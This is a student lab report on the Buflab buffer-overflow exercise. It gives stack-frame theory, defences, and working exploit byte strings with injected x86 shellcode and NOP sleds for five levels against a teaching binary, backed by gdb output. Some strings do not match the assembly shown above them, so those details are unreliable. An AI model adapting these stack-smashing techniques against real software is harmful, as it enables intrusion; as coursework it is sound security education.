哈爾濱工業大學

实验报告

实 验（四）

题　　目　Buflab

缓冲器漏洞攻击

专　　业　计算机系

学　　号　1180300811

班　　级　1803008

学　　生　孙骁

指 导 教 师　吴锐

实 验 地 点　G712

实 验 日 期　2019/11/02

计算机科学与技术学院

目 录

第 1 章 实验基本信息

1.1 实验目的

理解 C 语言函数的汇编级实现及缓冲器溢出原理

掌握栈帧结构与缓冲器溢出漏洞的攻击设计方法

进一步熟练使用 Linux 下的调试工具完成机器语言的跟踪调试

1.2 实验环境与工具

1.2.1 硬件环境

i7-8550U X64 CPU；1.80GHz；16G RAM；1T SSD

1.2.2 软件环境

Windows10 64 位；Vmware 15.1.0；Ubuntu 18.04 LTS

1.2.3 开发工具

Visual Studio 2019 ；CodeBlocks；gcc

1.3 实验预习

上实验课前，必须认真预习实验指导书（PPT 或 PDF）

了解实验的目的、实验环境与软硬件工具、实验操作步骤，复习与实验有关的理论知识。

请按照入栈顺序，写出 C 语言 32 位环境下的栈帧结构

请按照入栈顺序，写出 C 语言 64 位环境下的栈帧结构

请简述缓冲区溢出的原理及危害

请简述缓冲器溢出漏洞的攻击方法

请简述缓冲器溢出漏洞的防范方法

第 2 章 实验预习

2.1 请按照入栈顺序，写出 C 语言 32 位环境下的栈帧结构（5 分）

基址寄存器%ebp 与栈针寄存器%esp 分别指向栈底和栈顶。当 main 函数开始执行时，开始对栈指针进行操作，%esp 自减使栈向下伸长，将其实地址压入栈中，以此类推；若中间需要调用函数，将函数所需要的参数压栈，然后将返回地址压栈，然后%esp 自减向下增长，为函数分配空间随后将函数内部调用的局部变量和数据压栈，再将被调用者保存的寄存器压栈，调用结束后根据栈中的主函数返回地址返回主函数。

2.2 请按照入栈顺序，写出 C 语言 64 位环境下的栈帧结构（5 分）

64 位环境下的寄存器比 32 位的寄存器多了 8 个，x86-64 有 16 个 64 位寄存器：%rax 存储返回值，%rsp 是栈顶指针，%rdi, %rsi, %rdx, %rcx, %r8, %r9 都可作为参数寄存器

当过程调用需要的参数超出存储器的存储大小后，会在栈上分配空间。首先将%rsp 减 8，然后将操作数写到%rsp 指向的地址，之后与 32 位环境类似，栈底是比较早的指针，然后是被调用者指针，存放变量数据和函数返回地址，然后是保存的栈底指针，若还需要调用栈指针结构，以此类推。

2.3 请简述缓冲区溢出的原理及危害（5 分）

原理：

缓冲区溢出是指当计算机向缓冲区内填充数据位数的时候超过了缓冲区本身的容量溢出的数据覆盖在合法数据上，理想的情况是程序检查数据长度并不允许输入超过缓冲区长度的字符，但是绝大多数程序都会假设数据长度总是与所分配的存储空间相匹配，这就为缓冲区溢出埋下了隐患。“操作系统”使用的缓冲区又被称作“堆栈”，在各个操作进程之间，指令会被临时储存在“堆栈”中，“堆栈”也会出现缓冲区溢出。

危害：

如此次试验所讲，缓冲区溢出会向上覆盖函数返回地址、主函数代码等，直接导致修改程序执行过程，严重时可以根据输入的数据让程序执行黑客指定的程序。造成很大的损失。

2.4 请简述缓冲器溢出漏洞的攻击方法（5 分）

通常是针对不判断输入合法性的位置，输入给程序一个字符串，这个字符串包含一些可执行代码的字节编码，成为攻击代码。另外还有一些字节会用一个指向攻击代码的指针覆盖返回地址，那么执行 ret 指令的效果就是跳转到攻击代码。

在一种攻击形式中，攻击代码会使用系统调用一个 shell 程序，给攻击者提供一组操作系统函数。在另一种攻击形式中，攻击代码会执行一些未授权的任务，修复对栈的破坏，然后第二次执行 ret 指令，正常返回到调用者。

2.5 请简述缓冲器溢出漏洞的防范方法（5 分）

1. 栈随机化
   为了在系统中插入攻击代码，攻击者既要插入代码，又要插入指向这段代码的指针，过去栈地址非常容易检测。如果攻击者可以确定一个常见的 web 服务器所使用的栈空间，就可以设计一个在许多机器上都可以实施的攻击，这种现象被称为安全单一化。现在栈的具体内存位置是随机分配的，原始的静态的、针对特定内存位置的攻击手段已经不再适用了。
2. 进行栈破坏检测
   可以检测栈是否被破坏来判断缓冲区是否溢出。最近的 GCC 版本中，在产生的代码中加入了一种栈保护者机制来检测缓冲区越界。其思想是在栈针中任何局部缓冲区与栈状态之间储存一个特殊的金丝雀值，是在程序每次运行时随机产生的，因此攻击者没有简单的方法知道它是什么。再恢复寄存器状态和从函数返回之前，程序检查这个金丝雀值是否被该函数的某个操作或者该函数调用的某个函数的某个操作改变了，如果是的，程序异常终止。

第 3 章 各阶段漏洞攻击原理与方法

每阶段 25 分，文本 10 分，分析 15 分，总分不超过 80 分

3.1 Smoke 阶段 1 的攻击与分析

文本如下：

```
00 00 00 00 00 00 00 00

00 00 00 00 00 00 00 00

00 00 00 00 00 00 00 00

00 00 00 00 00 00 00 00

00 00 00 00 00 00 00 00

00 00 00 00 bb 8b 04 08
```

分析过程：

查看 getbuf 函数的反汇编代码，可以看到 lea -0x28(%ebp),%eax 命令，通过该行可以得到 gets()函数的返回值储存在 -0x28(%ebp)的位置，即为储存 buf 字符串的起始地址。根据溢出要求，需要输入 0x28+4+4 个字节的字符串来执行栈溢出攻击，并且需要将 test()返回地址覆盖成 smoke 返回地址

```
08049378 <getbuf>:
 8049378:       55                      push   %ebp
 8049379:       89 e5                   mov    %esp,%ebp
 804937b:       83 ec 28                sub    $0x28,%esp
 804937e:       83 ec 0c                sub    $0xc,%esp
 8049381:       8d 45 d8                lea    -0x28(%ebp),%eax
 8049384:       50                      push   %eax
 8049385:       e8 9e fa ff ff          call   8048e28 <Gets>
 804938a:       83 c4 10                add    $0x10,%esp
 804938d:       b8 01 00 00 00          mov    $0x1,%eax
 8049392:       c9                      leave
 8049393:       c3                      ret
```

找到 smoke 函数的位置，地址为 0x8048bbb，由于是小端序，故最后 4 个字节为 bb 8b 04 08

```
08048bbb <smoke>:
 8048bbb:       55                      push   %ebp
 8048bbc:       89 e5                   mov    %esp,%ebp
 8048bbe:       83 ec 08                sub    $0x8,%esp
 8048bc1:       83 ec 0c                sub    $0xc,%esp
 8048bc4:       68 c0 a4 04 08          push   $0x804a4c0
 8048bc9:       e8 92 fd ff ff          call   8048960 <puts@plt>
 8048bce:       83 c4 10                add    $0x10,%esp
 8048bd1:       83 ec 0c                sub    $0xc,%esp
 8048bd4:       6a 00                   push   $0x0
 8048bd6:       e8 f0 08 00 00          call   80494cb <validate>
 8048bdb:       83 c4 10                add    $0x10,%esp
 8048bde:       83 ec 0c                sub    $0xc,%esp
 8048be1:       6a 00                   push   $0x0
 8048be3:       e8 88 fd ff ff          call   8048970 <exit@plt>
```

输入后测试结果如下：

```
demerzel@demerzel-virtual-machine:~/ccode/lab4/bufbomb_32_O0_EBP/buflab-handout$
 ./hex2raw <smoke_1180300811.txt >smoke_1180300811_raw.txt
demerzel@demerzel-virtual-machine:~/ccode/lab4/bufbomb_32_O0_EBP/buflab-handout$
 ./bufbomb -u 1180300811 <smoke_1180300811_raw.txt
Userid: 1180300811
Cookie: 0x20c52cf7
Type string:Smoke!: You called smoke()
VALID
NICE JOB!
```

3.2 Fizz 的攻击与分析

文本如下：

```
00 00 00 00 00 00 00 00

00 00 00 00 00 00 00 00

00 00 00 00 00 00 00 00

00 00 00 00 00 00 00 00

00 00 00 00 00 00 00 00

00 00 00 00 e8 8b 04 08

00 00 00 00 f7 2c c5 20
```

分析过程：

查看 fizz 函数的反汇编代码

```
08048be8 <fizz>:
 8048be8:       55                      push   %ebp
 8048be9:       89 e5                   mov    %esp,%ebp
 8048beb:       83 ec 08                sub    $0x8,%esp
 8048bee:       8b 55 08                mov    0x8(%ebp),%edx
 8048bf1:       a1 58 e1 04 08          mov    0x804e158,%eax
 8048bf6:       39 c2                   cmp    %eax,%edx
 8048bf8:       75 22                   jne    8048c1c <fizz+0x34>
 8048bfa:       83 ec 08                sub    $0x8,%esp
 8048bfd:       ff 75 08                pushl  0x8(%ebp)
 8048c00:       68 db a4 04 08          push   $0x804a4db
 8048c05:       e8 76 fc ff ff          call   8048880 <printf@plt>
 8048c0a:       83 c4 10                add    $0x10,%esp
 8048c0d:       83 ec 0c                sub    $0xc,%esp
 8048c10:       6a 01                   push   $0x1
 8048c12:       e8 b4 08 00 00          call   80494cb <validate>
 8048c17:       83 c4 10                add    $0x10,%esp
 8048c1a:       eb 13                   jmp    8048c2f <fizz+0x47>
 8048c1c:       83 ec 08                sub    $0x8,%esp
 8048c1f:       ff 75 08                pushl  0x8(%ebp)
 8048c22:       68 fc a4 04 08          push   $0x804a4fc
 8048c27:       e8 54 fc ff ff          call   8048880 <printf@plt>
 8048c2c:       83 c4 10                add    $0x10,%esp
 8048c2f:       83 ec 0c                sub    $0xc,%esp
 8048c32:       6a 00                   push   $0x0
 8048c34:       e8 37 fd ff ff          call   8048970 <exit@plt>
```

得知<fizz>函数首地址为 08048be8，并且栈指针保存在了%ebp 中，将参数保存在了%edx 中。因为上一次调用 getbuf 中的 buf 占用了 40 个字节，%edp 在返回地址的上一个字节，参数传递又在%ebp+8 的位置，故这次要构造 56 个字节。通过 makecookie 得知自己的 cookie 为 0x20c52cf7。故 56 个字节如下：

00 00 00 00 00 00 00 00

00 00 00 00 00 00 00 00

00 00 00 00 00 00 00 00

00 00 00 00 00 00 00 00

00 00 00 00 00 00 00 00

00 00 00 00 e8 8b 04 08

00 00 00 00 f7 2c c5 20

输入后情况如下：

```
demerzel@demerzel-virtual-machine:~/ccode/lab4/bufbomb_32_O0_EBP/buflab-handout$
 ./bufbomb -u 1180300811 <fizz_1180300811_raw.txt
Userid: 1180300811
Cookie: 0x20c52cf7
Type string:Fizz!: You called fizz(0x20c52cf7)
VALID
NICE JOB!
```

3.3 Bang 的攻击与分析

文本如下：

```
c7 05 60 e1 04 08 f7 2c c5 20
68 39 8c 04 08 c3 00 00 00 00
```

```
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00
28 3e 68 55
```

分析过程：

查看 bang 函数的反汇编代码：

```
08048c39 <bang>:
 8048c39:       55                      push   %ebp
 8048c3a:       89 e5                   mov    %esp,%ebp
 8048c3c:       83 ec 08                sub    $0x8,%esp
 8048c3f:       a1 60 e1 04 08          mov    0x804e160,%eax
 8048c44:       89 c2                   mov    %eax,%edx
 8048c46:       a1 58 e1 04 08          mov    0x804e158,%eax
 8048c4b:       39 c2                   cmp    %eax,%edx
 8048c4d:       75 25                   jne    8048c74 <bang+0x3b>
 8048c4f:       a1 60 e1 04 08          mov    0x804e160,%eax
 8048c54:       83 ec 08                sub    $0x8,%esp
 8048c57:       50                      push   %eax
 8048c58:       68 1c a5 04 08          push   $0x804a51c
 8048c5d:       e8 1e fc ff ff          call   8048880 <printf@plt>
 8048c62:       83 c4 10                add    $0x10,%esp
 8048c65:       83 ec 0c                sub    $0xc,%esp
 8048c68:       6a 02                   push   $0x2
 8048c6a:       e8 5c 08 00 00          call   80494cb <validate>
 8048c6f:       83 c4 10                add    $0x10,%esp
 8048c72:       eb 16                   jmp    8048c8a <bang+0x51>
 8048c74:       a1 60 e1 04 08          mov    0x804e160,%eax
 8048c79:       83 ec 08                sub    $0x8,%esp
 8048c7c:       50                      push   %eax
 8048c7d:       68 41 a5 04 08          push   $0x804a541
 8048c82:       e8 f9 fb ff ff          call   8048880 <printf@plt>
 8048c87:       83 c4 10                add    $0x10,%esp
 8048c8a:       83 ec 0c                sub    $0xc,%esp
 8048c8d:       6a 00                   push   $0x0
 8048c8f:       e8 dc fc ff ff          call   8048970 <exit@plt>
```

根据要求，需要构造攻击字串，使目标程序调用 bang 函数，要将函数中全局变量 global_value 篡改为 cookie 值，使相应判断成功，需要在缓冲区中注入恶意代码篡改全局变量。由反汇编代码可知，bang()函数地址为 0x08048c39，由第四行和第六行可知，cookie 的值存放在 0x804e160 中，全局变量 global_value 存放在 0x804e158 中。此处采取先将全局变量的值直接修改为 cookie 的值，然后在跳转<bang>函数，编写的汇编文件如下：

```
movl $0x20c52cf7,0x804e158
push $0x08048c39
ret
```

通过 `gcc -m32 -c bomb.s`
`objdump -d bomb.o > bomb.d`
得到以下十六进制字节码指令：

```
bomb.o:     文件格式 elf32-i386


Disassembly of section .text:

00000000 <.text>:
   0:   c7 05 58 e1 04 08 f7    movl   $0x20c52cf7,0x804e158
   7:   2c c5 20
   a:   68 39 8c 04 08          push   $0x8048c39
   f:   c3                      ret
```

故跳转部分的字节码为 c7 05 58 e1 04 08 f7 2c c5 20 68 39 8c 04 08 c3

由 getbuf 函数可知，eax 中存放 gets 的首地址，打印 eax 地址

```
(gdb) p/x $eax
$1 = 0x55683e28
```

故构造此部分字节码，用 40 个字节填充缓冲区，再用四个字节覆盖%ebp

```
c7 05 60 e1 04 08 f7 2c c5 20
68 39 8c 04 08 c3 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00
28 3e 68 55
```

输入后结果如下：

```
demerzel@demerzel-virtual-machine:~/ccode/lab4/bufbomb_32_O0_EBP/buflab-handout$
 ./bufbomb -u 1180300811 <bang_1180300811_raw.txt
Userid: 1180300811
Cookie: 0x20c52cf7
Type string:Bang!: You set global_value to 0x20c52cf7
VALID
NICE JOB!
```

3.4 Boom 的攻击与分析

文本如下：

```
b8 f7 2c c5 20 68 a7 8c 04 08

c3 00 00 00 00 00 00 00 00 00

00 00 00 00 00 00 00 00 00 00

00 00 00 00 00 00 00 00 00 00

70 3e 68 55

28 3e 68 55
```

分析过程：

思路就是 getbuf 函数调用栈，函数调用结束以后，栈被释放，而返回结果会放在 eax 寄存器中，这样 test 这个调用者不需知道调用的 getbuf 是怎么

执行的，只需要到 eax 寄存器中去取返回值就好了，那么我们就在 getbuf 执行完以后，再把 eax 寄存器中的值动手脚修改为我们的 cookie 就 ok 了。然后，考虑栈的恢复，需要两个部分，一个是 ebp 一个是 esp 的地址，一个是恢复 pop 出 test 的原 ebp，所以在破坏之前，就先用 gdb 调试出来 test 的原 ebp 是多少记录下来，恢复的时候在赋值给它。用 gdb 来调试得到我们的 ebp 的值：

```
08049378 <getbuf>:
 8049378:       55                      push   %ebp
 8049379:       89 e5                   mov    %esp,%ebp
 804937b:       83 ec 28                sub    $0x28,%esp
 804937e:       83 ec 0c                sub    $0xc,%esp
 8049381:       8d 45 d8                lea    -0x28(%ebp),%eax
 8049384:       50                      push   %eax
 8049385:       e8 9e fa ff ff          call   8048e28 <Gets>
Breakpoint 1, 0x08049378 in getbuf ()
(gdb) p/x $ebp
$1 = 0x55683e70
```

得知原 test 的%ebp 是 0x55683e70

查看%eip 的地址，为 call<getbuf>后的下一条指令地址：

```
08048c94 <test>:
 8048c94:       55                      push   %ebp
 8048c95:       89 e5                   mov    %esp,%ebp
 8048c97:       83 ec 18                sub    $0x18,%esp
 8048c9a:       e8 64 04 00 00          call   8049103 <uniqueval>
 8048c9f:       89 45 f0                mov    %eax,-0x10(%ebp)
 8048ca2:       e8 d1 06 00 00          call   8049378 <getbuf>
 8048ca7:       89 45 f4                mov    %eax,-0xc(%ebp)
```

得知为 0x8048ca7 为%esp 存储的地址，构造攻击代码如下：

```
mov $0x20c52cf7,%eax
mov $0x55683e70,%ebp
push $0x8048ca7
ret
```

将%eax 里的值修改为 cookie，然后将 edp 里面的 test 返回的值恢复，将 call getbuf 的下一条指令压入返回地址，最后 ret 返回。

通过 `gcc -m32 -c boom.s`

`objdump -d boom.o > boom.d`

得到以下十六进制字节码指令：

```
Disassembly of section .text:

00000000 <.text>:
   0:   b8 f7 2c c5 20          mov    $0x20c52cf7,%eax
   5:   bd 70 3e 68 55          mov    $0x55683e70,%ebp
   a:   68 a7 8c 04 08          push   $0x8048ca7
   f:   c3
```

获取调用 test 函数时栈顶地址：

```
(gdb) info registers
eax            0x38df96a        59636074
ecx            0xf7fb3074       -134533004
edx            0x0      0
ebx            0xffffce70       -12688
esp            0x55683e28       0x55683e28 <_reserved+1039912>
ebp            0x55683e50       0x55683e50 <_reserved+1039952>
esi            0xf7fb3000       -134533120
edi            0x0      0
eip            0x804937e        0x804937e <getbuf+6>
eflags         0x216    [ PF AF IF ]
cs             0x23     35
ss             0x2b     43
ds             0x2b     43
es             0x2b     43
fs             0x0      0
gs             0x63     99
```

%esp 为 0x55683e28

故攻击的字节码指令为：

```
b8 f7 2c c5 20 68 a7 8c 04 08

c3 00 00 00 00 00 00 00 00 00

00 00 00 00 00 00 00 00 00 00

00 00 00 00 00 00 00 00 00 00

70 3e 68 55

28 3e 68 55
```

输入后如下：

```
demerzel@demerzel-virtual-machine:~/ccode/lab4/bufbomb_32_O0_EBP/buflab-handout$
 ./bufbomb -u 1180300811 <boom_1180300811_raw.txt
Userid: 1180300811
Cookie: 0x20c52cf7
Type string:Boom!: getbuf returned 0x20c52cf7
VALID
NICE JOB!
```

3.5 Nitro 的攻击与分析

文本如下：

```
90 90 90 90 90 90 90 90 90 90

90 90 90 90 90 90 90 90 90 90

90 90 90 90 90 90 90 90 90 90

90 90 90 90 90 90 90 90 90 90

90 90 90 90 90 90 90 90 90 90
```

```
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
```

```
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90
b8 f7 2c c5 20 8d 6c 24 18 68
21 8d 04 08 c3
48 3c 68 55
0a
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
```

```
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
```

```
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90
b8 f7 2c c5 20 8d 6c 24 18 68
21 8d 04 08 c3
48 3c 68 55
```

```
0a
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
```

```
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90
```

```
b8 f7 2c c5 20 8d 6c 24 18 68

21 8d 04 08 c3

98 3c 68 55

0a

90 90 90 90 90 90 90 90 90 90

90 90 90 90 90 90 90 90 90 90

90 90 90 90 90 90 90 90 90 90

90 90 90 90 90 90 90 90 90 90

90 90 90 90 90 90 90 90 90 90

90 90 90 90 90 90 90 90 90 90

90 90 90 90 90 90 90 90 90 90

90 90 90 90 90 90 90 90 90 90

90 90 90 90 90 90 90 90 90 90

90 90 90 90 90 90 90 90 90 90

90 90 90 90 90 90 90 90 90 90

90 90 90 90 90 90 90 90 90 90

90 90 90 90 90 90 90 90 90 90

90 90 90 90 90 90 90 90 90 90

90 90 90 90 90 90 90 90 90 90

90 90 90 90 90 90 90 90 90 90

90 90 90 90 90 90 90 90 90 90

90 90 90 90 90 90 90 90 90 90

90 90 90 90 90 90 90 90 90 90

90 90 90 90 90 90 90 90 90 90

90 90 90 90 90 90 90 90 90 90

90 90 90 90 90 90 90 90 90 90
```

```
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
```

```
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90
b8 f7 2c c5 20 8d 6c 24 18 68
21 8d 04 08 c3
a8 3c 68 55
0a
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
```

```
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
```

90 90 90 90 90 90 90 90 90 90

90 90 90 90 90 90 90 90 90 90

90 90 90 90 90 90 90 90 90 90

90 90 90 90 90 90 90 90 90 90

90 90 90 90 90 90 90 90 90 90

90 90 90 90 90 90 90 90 90

b8 f7 2c c5 20 8d 6c 24 18 68

21 8d 04 08 c3

38 3c 68 55 分析过程：

前面 4 个攻击都是栈基址是固定的，所以可以通过猜测到栈帧的结构进行覆盖篡改，这一关就是引入了缓冲区溢出攻击的一种保护措施，就是栈基址随机化，让栈基址不可以猜测，来实施缓冲区溢出攻击，那么就要用到 nop 雪橇了。nop 只是执行 eip 自加 1 不进行其他的操作。在无法猜测的时候，只需要找到最大的地址，然后前面用 nop 雪橇那么只要在 nop 段中都会自动划入。

首先查看<getbufn>函数：

```
08049394 <getbufn>:
 8049394:       55                      push   %ebp
 8049395:       89 e5                   mov    %esp,%ebp
 8049397:       81 ec 08 02 00 00       sub    $0x208,%esp
 804939d:       83 ec 0c                sub    $0xc,%esp
 80493a0:       8d 85 f8 fd ff ff       lea    -0x208(%ebp),%eax
 80493a6:       50                      push   %eax
 80493a7:       e8 7c fa ff ff          call   8048e28 <Gets>
 80493ac:       83 c4 10                add    $0x10,%esp
 80493af:       b8 01 00 00 00          mov    $0x1,%eax
 80493b4:       c9                      leave
 80493b5:       c3                      ret
```

可以看到 buf 的首地址为-0x208（%ebp）为十进制 520 个字节大小。

在这一 level 中每次运行 testn 的%ebp 都不同，所以每次 getbufn 里面保存的 test 的%ebp 也是随机的，但是栈顶的%esp 是不变的，所以就要找到每次随机的%ebp 与%esp 之间的关系来恢复%ebp。先通过调试来看一下 getbuf 里面保存的%ebp 的值的随机范围为多少。在 0x804939d 处设置断点，注意与前面不同的是设置为-n 模式，然后每次输入一次 string 来看一下 ebp 的值，然后 continue，再次输入，一共输入 5 次。

```
Starting program: /home/demerzel/ccode/lab4/bufbomb_32_O0_EBP/buflab-handout/bufbomb
-nu 1180300811
Userid: 1180300811
Cookie: 0x20c52cf7

Breakpoint 1, 0x0804939d in getbufn ()
(gdb) p/x $ebp
$4 = 0x55683e50
(gdb) c
Continuing.
Type string:sun
Dud: getbufn returned 0x1
Better luck next time
```

```
Breakpoint 1, 0x0804939d in getbufn ()
(gdb) p/x $ebp
$4 = 0x55683e50
(gdb) c
Continuing.
Type string:sun
Dud: getbufn returned 0x1
Better luck next time

Breakpoint 1, 0x0804939d in getbufn ()
(gdb) p/x $ebp
$5 = 0x55683e50
(gdb) c
Continuing.
Type string:xiao
Dud: getbufn returned 0x1
Better luck next time

Breakpoint 1, 0x0804939d in getbufn ()
(gdb) p/x $ebp
$6 = 0x55683ea0
(gdb) c
Continuing.
Type string:liu
Dud: getbufn returned 0x1
Better luck next time

Breakpoint 1, 0x0804939d in getbufn ()
